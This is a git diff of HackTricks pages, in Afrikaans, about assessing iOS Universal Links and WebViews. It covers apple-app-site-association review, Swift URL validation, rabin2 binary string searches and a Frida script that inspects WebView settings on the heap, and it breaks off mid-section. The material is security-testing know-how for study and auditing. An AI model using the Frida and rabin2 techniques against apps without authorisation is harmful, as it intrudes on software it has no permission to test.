||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **laai HackTricks af in PDF** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,30 +1,31 @@
|
|||
# iOS Universele Skakels
|
||||
# iOS Universal Links
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS hakwerk van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
## Inleiding
|
||||
## Introduction
|
||||
|
||||
Universale skakels bied 'n **naadlose omleidingservaring** aan gebruikers deur inhoud direk in die program oop te maak, sonder die nodigheid vir Safari-omleiding. Hierdie skakels is **uniek** en veilig, aangesien hulle nie deur ander programme geclaim kan word nie. Dit word verseker deur 'n `apple-app-site-association` JSON-lêer op die webwerf se hoofgids te hê, wat 'n verifieerbare skakel tussen die webwerf en die program vestig. In gevalle waar die program nie geïnstalleer is nie, sal Safari oorneem en die gebruiker na die webbladsy lei, terwyl die program se teenwoordigheid behoue bly.
|
||||
Universele skakels bied 'n **naatlose herleiding** ervaring aan gebruikers deur inhoud direk in die app te open, wat die behoefte aan Safari-herleiding omseil. Hierdie skakels is **uniek** en veilig, aangesien dit nie deur ander apps geclaim kan word nie. Dit word verseker deur 'n `apple-app-site-association` JSON-lêer op die webwerf se wortelgids te huisves, wat 'n verifieerbare skakel tussen die webwerf en die app tot stand bring. In gevalle waar die app nie geïnstalleer is nie, sal Safari oorneem en die gebruiker na die webblad lei, terwyl die app se teenwoordigheid gehandhaaf word.
|
||||
|
||||
Vir penetrasietoetsers is die `apple-app-site-association`-lêer van besondere belang omdat dit moontlik **sensitiewe paaie** kan blootstel, moontlik insluitend dié wat verband hou met onbekende funksies.
|
||||
Vir penetrasietoetsers is die `apple-app-site-association` lêer van besondere belang, aangesien dit **sensitiewe paaie** kan onthul, moontlik insluitend dié wat verband hou met nie-vrygestelde funksies.
|
||||
|
||||
### **Ontleding van die Verwante Domeine Toestemming**
|
||||
### **Analyzing the Associated Domains Entitlement**
|
||||
|
||||
Ontwikkelaars aktiveer Universele Skakels deur die **Verwante Domeine** in Xcode se Vermoëns-tabblad te konfigureer of deur die `.entitlements`-lêer te ondersoek. Elke domein word voorafgegaan deur `applinks:`. Byvoorbeeld, Telegram se konfigurasie kan soos volg lyk:
|
||||
Ontwikkelaars aktiveer Universele Skakels deur die **Gekoppelde Domeine** in Xcode se Vermoëns-tabblad te konfigureer of deur die `.entitlements` lêer te ondersoek. Elke domein is voorafgegaan deur `applinks:`. Byvoorbeeld, Telegram se konfigurasie mag soos volg verskyn:
|
||||
```xml
|
||||
<key>com.apple.developer.associated-domains</key>
|
||||
<array>
|
||||
|
@ -32,21 +33,21 @@ Ontwikkelaars aktiveer Universele Skakels deur die **Verwante Domeine** in Xcode
|
|||
<string>applinks:t.me</string>
|
||||
</array>
|
||||
```
|
||||
Vir meer omvattende insigte, verwys na die [geargiveerde Apple-ontwikkelaardokumentasie](https://developer.apple.com/library/archive/documentation/General/Conceptual/AppSearch/UniversalLinks.html#//apple_ref/doc/uid/TP40016308-CH12-SW2).
|
||||
Vir meer omvattende insigte, verwys na die [argief Apple Developer Documentation](https://developer.apple.com/library/archive/documentation/General/Conceptual/AppSearch/UniversalLinks.html#//apple_ref/doc/uid/TP40016308-CH12-SW2).
|
||||
|
||||
Indien daar met 'n saamgestelde aansoek gewerk word, kan toekennings geëkstraheer word soos uiteengesit in [hierdie gids](extracting-entitlements-from-compiled-application.md).
|
||||
As jy met 'n gecompileerde toepassing werk, kan regte soos uiteengesit in [hierdie gids](extracting-entitlements-from-compiled-application.md) onttrek word.
|
||||
|
||||
### **Ophaal van die Apple App-webwerfverenigingslêer**
|
||||
### **Herwinning van die Apple App Site Association Lêer**
|
||||
|
||||
Die `apple-app-site-association`-lêer moet van die bediener afgehaal word deur die domeine wat in die toekennings gespesifiseer is. Maak seker dat die lêer direk via HTTPS toeganklik is by `https://<domain>/apple-app-site-association`. Gereedskap soos die [Apple App-webwerfverenigings (AASA) Validator](https://branch.io/resources/aasa-validator/) kan help met hierdie proses.
|
||||
Die `apple-app-site-association` lêer moet van die bediener verkry word met die domeine wat in die regte gespesifiseer is. Verseker dat die lêer via HTTPS direk by `https://<domain>/apple-app-site-association` toeganklik is. Gereedskap soos die [Apple App Site Association (AASA) Validator](https://branch.io/resources/aasa-validator/) kan in hierdie proses help.
|
||||
|
||||
### **Hantering van Universele Skakels in die Aansoek**
|
||||
### **Hantering van Universele Skakels in die App**
|
||||
|
||||
Die aansoek moet spesifieke metodes implementeer om universele skakels korrek te hanteer. Die primêre metode om na te soek is [`application:continueUserActivity:restorationHandler:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623072-application). Dit is noodsaaklik dat die skema van behandelde URL's HTTP of HTTPS is, aangesien ander nie ondersteun sal word nie.
|
||||
Die app moet spesifieke metodes implementeer om universele skakels korrek te hanteer. Die primêre metode om na te kyk is [`application:continueUserActivity:restorationHandler:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623072-application). Dit is van kardinale belang dat die skema van die URL's wat hanteer word HTTP of HTTPS is, aangesien ander nie ondersteun sal word nie.
|
||||
|
||||
#### **Validering van die Datahanteringsmetode**
|
||||
#### **Validasie van die Data Handler Metode**
|
||||
|
||||
Wanneer 'n universele skakel 'n aansoek oopmaak, word 'n `NSUserActivity`-voorwerp met die URL na die aansoek gestuur. Voordat hierdie URL verwerk word, is dit noodsaaklik om dit te valideer en te saniteer om sekuriteitsrisiko's te voorkom. Hier is 'n voorbeeld in Swift wat die proses demonstreer:
|
||||
Wanneer 'n universele skakel 'n app oopmaak, word 'n `NSUserActivity` objek aan die app oorgedra met die URL. Voor die verwerking van hierdie URL, is dit noodsaaklik om dit te valideer en te saniteer om sekuriteitsrisiko's te voorkom. Hier is 'n voorbeeld in Swift wat die proses demonstreer:
|
||||
```swift
|
||||
func application(_ application: UIApplication, continue userActivity: NSUserActivity,
|
||||
restorationHandler: @escaping ([UIUserActivityRestoring]?) -> Void) -> Bool {
|
||||
|
@ -58,7 +59,7 @@ application.open(url, options: [:], completionHandler: nil)
|
|||
return true
|
||||
}
|
||||
```
|
||||
URLs moet sorgvuldig geparse en gevalideer word, veral as hulle parameters insluit, om teen potensiële spoofing of verkeerde gegevens te beskerm. Die `NSURLComponents` API is nuttig vir hierdie doel, soos hieronder gedemonstreer:
|
||||
URLs moet sorgvuldig geparseer en gevalideer word, veral as hulle parameters insluit, om te beskerm teen potensiële spoofing of verkeerd gevormde data. Die `NSURLComponents` API is nuttig vir hierdie doel, soos hieronder gedemonstreer:
|
||||
```swift
|
||||
func application(_ application: UIApplication,
|
||||
continue userActivity: NSUserActivity,
|
||||
|
@ -84,29 +85,26 @@ return false
|
|||
}
|
||||
}
|
||||
```
|
||||
Deur **sorgvuldige konfigurasie en validering**, kan ontwikkelaars verseker dat universele skakels die gebruikerservaring verbeter terwyl hulle sekuriteits- en privaatheidsstandaarde handhaaf.
|
||||
Deur **nette konfigurasie en validasie** kan ontwikkelaars verseker dat universele skakels die gebruikerservaring verbeter terwyl sekuriteit en privaatheidsstandaarde gehandhaaf word.
|
||||
|
||||
## Tools
|
||||
* [GetUniversal.link](https://getuniversal.link/): Help om die toetsing en bestuur van jou app se Universele Skakels en AASA-lêer te vereenvoudig. Voer eenvoudig jou domein in om die integriteit van die AASA-lêer te verifieer of gebruik die pasgemaakte dashboard om skakelgedrag maklik te toets. Hierdie hulpmiddel help jou ook om te bepaal wanneer Apple jou AASA-lêer volgende sal indekseer.
|
||||
|
||||
## Gereedskap
|
||||
* [GetUniversal.link](https://getuniversal.link/): Help om die toetsing en bestuur van jou program se Universele Skakels en AASA-lêer te vereenvoudig. Voer eenvoudig jou domein in om die integriteit van die AASA-lêer te verifieer of gebruik die aanpasbare dashboard om skakelgedrag maklik te toets. Hierdie gereedskap help jou ook om te bepaal wanneer Apple jou AASA-lêer weer sal indeks.
|
||||
|
||||
|
||||
## Verwysings
|
||||
## References
|
||||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0070/#static-analysis](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0070/#static-analysis)
|
||||
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,31 +1,31 @@
|
|||
# iOS WebViews
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Die kode van hierdie bladsy is onttrek van [hier](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md). Kyk na die bladsy vir verdere besonderhede.
|
||||
|
||||
## WebViews tipes
|
||||
|
||||
## WebViews-tipes
|
||||
WebViews word binne toepassings gebruik om webinhoud interaktief te vertoon. Verskeie tipes WebViews bied verskillende funksionaliteite en sekuriteitskenmerke vir iOS-toepassings. Hier is 'n kort oorsig:
|
||||
|
||||
WebViews word binne programme gebruik om webinhoud interaktief weer te gee. Verskillende tipes WebViews bied verskillende funksionaliteite en sekuriteitskenmerke vir iOS-programme. Hier is 'n kort oorsig:
|
||||
- **UIWebView**, wat nie meer aanbeveel word vanaf iOS 12 nie weens die gebrek aan ondersteuning om **JavaScript** te deaktiveer, wat dit vatbaar maak vir skripinplanting en **Cross-Site Scripting (XSS)** aanvalle.
|
||||
|
||||
- **UIWebView**, wat vanaf iOS 12 nie meer aanbeveel word nie as gevolg van sy gebrek aan ondersteuning vir die uitskakeling van **JavaScript**, wat dit vatbaar maak vir skripsinjeksie en **Cross-Site Scripting (XSS)**-aanvalle.
|
||||
- **WKWebView** is die verkieslike opsie om webinhoud in toepassings in te sluit, wat verbeterde beheer oor die inhoud en sekuriteitskenmerke bied. **JavaScript** is standaard geaktiveer, maar dit kan indien nodig gedeaktiveer word. Dit ondersteun ook funksies om te voorkom dat JavaScript vensters outomaties oopmaak en verseker dat alle inhoud veilig gelaai word. Boonop minimaliseer **WKWebView**'s argitektuur die risiko van geheuebesoedeling wat die hooftoepassing proses beïnvloed.
|
||||
|
||||
- **WKWebView** is die voorkeur-opsie vir die inkorporering van webinhoud in programme, en bied verbeterde beheer oor die inhoud en sekuriteitskenmerke. **JavaScript** is standaard geaktiveer, maar dit kan uitgeskakel word indien nodig. Dit ondersteun ook funksies om te voorkom dat JavaScript outomaties vensters oopmaak en verseker dat alle inhoud veilig gelaai word. Daarbenewens minimaliseer die argitektuur van **WKWebView** die risiko van geheuekorruptie wat die hoofprogramproses kan affekteer.
|
||||
|
||||
- **SFSafariViewController** bied 'n gestandaardiseerde webblaaier-ervaring binne programme, wat herkenbaar is aan sy spesifieke uitleg, insluitend 'n lees-slegs-adresveld, deel- en navigasieknoppies, en 'n direkte skakel om inhoud in Safari oop te maak. Anders as **WKWebView** kan **JavaScript** nie uitgeskakel word in **SFSafariViewController** nie, wat ook koekies en data deel met Safari en sodoende die gebruiker se privaatheid van die app handhaaf. Dit moet volgens die App Store-riglyne duidelik vertoon word.
|
||||
- **SFSafariViewController** bied 'n gestandaardiseerde webblaaierervaring binne toepassings, herkenbaar aan sy spesifieke uitleg wat 'n lees-slegs adresveld, deel- en navigasieknope, en 'n direkte skakel om inhoud in Safari te open insluit. Anders as **WKWebView**, kan **JavaScript** nie in **SFSafariViewController** gedeaktiveer word nie, wat ook koekies en data met Safari deel, terwyl dit gebruikersprivaatheid van die toepassing handhaaf. Dit moet prominent vertoon word volgens App Store riglyne.
|
||||
```javascript
|
||||
// Example of disabling JavaScript in WKWebView:
|
||||
WKPreferences *preferences = [[WKPreferences alloc] init];
|
||||
|
@ -34,45 +34,45 @@ WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
|
|||
config.preferences = preferences;
|
||||
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
|
||||
```
|
||||
## Opsomming van WebViews-konfigurasie-ondersoek
|
||||
## WebViews Konfigurasie Verkenning Samevatting
|
||||
|
||||
### **Oorsig van Statische Analise**
|
||||
### **Statiese Analise Oorsig**
|
||||
|
||||
In die proses van die ondersoek van WebViews-konfigurasies, word daar gefokus op twee primêre tipes: **UIWebView** en **WKWebView**. Om hierdie WebViews binne 'n binêre lêer te identifiseer, word bevele gebruik om spesifieke klasverwysings en inisialisasiemetodes te soek.
|
||||
In die proses om **WebViews** konfigurasies te ondersoek, word twee primêre tipes gefokus: **UIWebView** en **WKWebView**. Om hierdie WebViews binne 'n binêre te identifiseer, word opdragte gebruik om spesifieke klasverwysings en inisialisasiemetodes te soek.
|
||||
|
||||
- **UIWebView-identifikasie**
|
||||
- **UIWebView Identifikasie**
|
||||
```bash
|
||||
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
|
||||
```
|
||||
Hierdie bevel help om instansies van **UIWebView** op te spoor deur te soek na teksstrings wat daarmee verband hou in die binêre lêer.
|
||||
Hierdie opdrag help om voorbeelde van **UIWebView** te vind deur te soek na teksstringe wat daarmee verband hou in die binêre.
|
||||
|
||||
- **WKWebView Identifikasie**
|
||||
```bash
|
||||
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
|
||||
```
|
||||
Op soortgelyke wyse soek hierdie bevel die binêre lêer vir teksreekse wat dui op die gebruik van **WKWebView**.
|
||||
Net so, vir **WKWebView**, soek hierdie opdrag die binêre vir teksstringe wat aandui dat dit gebruik word.
|
||||
|
||||
Verder, om uit te vind hoe 'n **WKWebView** geïnisialiseer word, word die volgende bevel uitgevoer, wat die metodesignatuur teiken wat verband hou met sy inisialisering:
|
||||
Verder, om te vind hoe 'n **WKWebView** geïnitialiseer word, word die volgende opdrag uitgevoer, wat teiken die metode-handtekening wat verband hou met sy inisialisering:
|
||||
```bash
|
||||
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
|
||||
```
|
||||
#### **JavaScript-konfigurasieverifikasie**
|
||||
#### **JavaScript Konfigurasie Verifikasie**
|
||||
|
||||
Vir **WKWebView** word daar beklemtoon dat dit 'n goeie praktyk is om JavaScript te deaktiveer tensy dit nodig is. Die saamgestelde binêre lêer word deursoek om te bevestig dat die `javaScriptEnabled` eienskap op `false` ingestel is, om te verseker dat JavaScript gedeaktiveer is:
|
||||
Vir **WKWebView** word dit beklemtoon dat dit 'n beste praktyk is om JavaScript te deaktiveer tensy dit benodig word. Die gecompileerde binêre word gesoek om te bevestig dat die `javaScriptEnabled` eienskap op `false` gestel is, wat verseker dat JavaScript gedeaktiveer is:
|
||||
```bash
|
||||
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
|
||||
```
|
||||
#### **Slegs Sekure Inhoud Verifikasie**
|
||||
#### **Slegs Veilige Inhoud Verifikasie**
|
||||
|
||||
**WKWebView** bied die vermoë om gemengde inhoudsprobleme te identifiseer, in teenstelling met **UIWebView**. Dit word nagegaan deur die gebruik van die `hasOnlySecureContent` eienskap om te verseker dat alle bladsybronne deur veilige verbindinge gelaai word. Die soektog in die saamgestelde binêre kode word as volg uitgevoer:
|
||||
**WKWebView** bied die vermoë om gemengde inhoud probleme te identifiseer, in teenstelling met **UIWebView**. Dit word nagegaan met die `hasOnlySecureContent` eienskap om te verseker dat alle bladsyhulpbronne deur veilige verbindings gelaai word. Die soektog in die gecompileerde binêre word soos volg uitgevoer:
|
||||
```bash
|
||||
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
|
||||
```
|
||||
### **Dinamiese Analise-insigte**
|
||||
### **Dinamiese Analise Inligting**
|
||||
|
||||
Dinamiese analise behels die inspeksie van die heap vir WebView-instanties en hul eienskappe. 'n Skrip met die naam `webviews_inspector.js` word gebruik vir hierdie doel, wat `UIWebView`, `WKWebView`, en `SFSafariViewController`-instanties teiken. Dit registreer inligting oor gevonde instanties, insluitend URL's en instellings wat verband hou met JavaScript en veilige inhoud.
|
||||
Dinamiese analise behels die inspeksie van die heap vir WebView instansies en hul eienskappe. 'n Skrip genaamd `webviews_inspector.js` word vir hierdie doel gebruik, wat fokus op `UIWebView`, `WKWebView`, en `SFSafariViewController` instansies. Dit log inligting oor gevonde instansies, insluitend URL's en instellings rakende JavaScript en veilige inhoud.
|
||||
|
||||
Heap-inspeksie kan uitgevoer word deur `ObjC.choose()` te gebruik om WebView-instanties te identifiseer en die `javaScriptEnabled` en `hasonlysecurecontent`-eienskappe te kontroleer.
|
||||
Heap-inspeksie kan uitgevoer word met behulp van `ObjC.choose()` om WebView instansies te identifiseer en `javaScriptEnabled` en `hasonlysecurecontent` eienskappe te kontroleer.
|
||||
|
||||
{% code title="webviews_inspector.js" %}
|
||||
```javascript
|
||||
|
@ -121,30 +121,30 @@ console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Die skrip word uitgevoer met:
|
||||
Die skrif word uitgevoer met:
|
||||
```bash
|
||||
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
|
||||
```
|
||||
**Belangrike uitkomste**:
|
||||
- Gevalle van WebViews word suksesvol opgespoor en ondersoek.
|
||||
- JavaScript-aktivering en veilige inhoudsinstellings word geverifieer.
|
||||
**Belangrike Uitslae**:
|
||||
- Instansies van WebViews word suksesvol geleë en ondersoek.
|
||||
- JavaScript-aktivering en veilige inhoudinstellings word geverifieer.
|
||||
|
||||
Hierdie opsomming omvat die kritieke stappe en opdragte wat betrokke is by die analise van WebView-konfigurasies deur statiese en dinamiese benaderings, met die klem op sekuriteitskenmerke soos JavaScript-aktivering en gemengde inhoudsdeteksie.
|
||||
Hierdie opsomming sluit die kritieke stappe en opdragte in wat betrokke is by die analise van WebView-konfigurasies deur middel van statiese en dinamiese benaderings, met fokus op sekuriteitskenmerke soos JavaScript-aktivering en gemengde inhoudsdeteksie.
|
||||
|
||||
## WebView-protokolhantering
|
||||
## WebView Protokol Hantering
|
||||
|
||||
Die hantering van inhoud in WebViews is 'n kritieke aspek, veral wanneer dit kom by verskillende protokolle soos `http(s)://`, `file://`, en `tel://`. Hierdie protokolle maak dit moontlik om beide afgeleë en plaaslike inhoud binne programme te laai. Dit word beklemtoon dat wanneer plaaslike inhoud gelaai word, voorbehoudsmaatreëls getref moet word om te voorkom dat gebruikers die lêernaam of -pad beïnvloed en die inhoud self wysig.
|
||||
Die hantering van inhoud in WebViews is 'n kritieke aspek, veral wanneer daar met verskillende protokolle soos `http(s)://`, `file://`, en `tel://` gewerk word. Hierdie protokolle stel die laai van sowel afstands- as plaaslike inhoud binne toepassings in staat. Dit word beklemtoon dat wanneer plaaslike inhoud gelaai word, voorsorgmaatreëls getref moet word om te voorkom dat gebruikers die lêernaam of -pad beïnvloed en die inhoud self redigeer.
|
||||
|
||||
**WebViews** bied verskillende metodes vir inhoudsoplaai. Vir **UIWebView**, wat nou verouderd is, word metodes soos `loadHTMLString:baseURL:` en `loadData:MIMEType:textEncodingName:baseURL:` gebruik. **WKWebView** maak daarenteen gebruik van `loadHTMLString:baseURL:`, `loadData:MIMEType:textEncodingName:baseURL:`, en `loadRequest:` vir webinhoud. Metodes soos `pathForResource:ofType:`, `URLForResource:withExtension:`, en `init(contentsOf:encoding:)` word tipies gebruik vir die laai van plaaslike lêers. Die metode `loadFileURL:allowingReadAccessToURL:` is veral merkwaardig vir sy vermoë om 'n spesifieke URL of gids in die WebView te laai, wat moontlik sensitiewe data kan blootstel as 'n gids gespesifiseer word.
|
||||
**WebViews** bied verskillende metodes vir inhoudlaai. Vir **UIWebView**, wat nou verouderd is, word metodes soos `loadHTMLString:baseURL:` en `loadData:MIMEType:textEncodingName:baseURL:` gebruik. **WKWebView**, aan die ander kant, gebruik `loadHTMLString:baseURL:`, `loadData:MIMEType:textEncodingName:baseURL:`, en `loadRequest:` vir webinhoud. Metodes soos `pathForResource:ofType:`, `URLForResource:withExtension:`, en `init(contentsOf:encoding:)` word tipies gebruik om plaaslike lêers te laai. Die metode `loadFileURL:allowingReadAccessToURL:` is veral noemenswaardig vir sy vermoë om 'n spesifieke URL of gids in die WebView te laai, wat potensieel sensitiewe data kan blootstel as 'n gids gespesifiseer word.
|
||||
|
||||
Om hierdie metodes in die bronkode of saamgestelde binêre lêer te vind, kan opdragte soos die volgende gebruik word:
|
||||
Om hierdie metodes in die bronnekode of gecompileerde binêre te vind, kan opdragte soos die volgende gebruik word:
|
||||
```bash
|
||||
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
|
||||
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
|
||||
```
|
||||
